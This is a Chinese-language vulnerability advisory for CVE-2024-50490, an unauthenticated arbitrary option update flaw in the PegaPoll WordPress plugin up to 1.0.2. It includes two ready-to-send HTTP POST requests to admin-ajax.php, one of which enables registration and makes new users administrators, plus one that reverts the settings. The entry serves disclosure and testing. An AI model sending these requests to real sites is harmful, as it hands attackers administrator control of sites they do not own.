PegaPoll <= 1.0.2 - 未经授权的任意选项更新
PegaPoll WordPress 插件在包括 1.0.2 在内的所有版本中，由于缺少权限检查，存在导致权限提升的未授权数据修改漏洞。这使得未经身份验证的攻击者能够更新 WordPress 站点上的任意选项。攻击者可利用此漏洞将默认注册角色更新为管理员，并启用用户注册，从而获得对受影响站点的管理员访问权限。
发布日期: 2024-10-25 00:00:00
CVE: CVE-2024-50490
CVSS: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
CVSS 评分: 9.8
Slugs: pegapoll
启用注册并将新用户默认角色设为管理员
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: kubernetes.docker.internal
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:132.0) Gecko/20100101 Firefox/132.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: http://kubernetes.docker.internal/wp-admin/plugins.php?plugin_status=all&paged=1&s
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 91
Origin: http://kubernetes.docker.internal
Connection: keep-alive
action=update_all_options&options[default_role]=administrator&options[users_can_register]=1
恢复为禁用用户注册并将新用户设为订阅者
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: kubernetes.docker.internal
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:132.0) Gecko/20100101 Firefox/132.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: http://kubernetes.docker.internal/wp-admin/plugins.php?plugin_status=all&paged=1&s
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 91
Origin: http://kubernetes.docker.internal
Connection: keep-alive
action=update_all_options&options[default_role]=subscriber&options[users_can_register]=0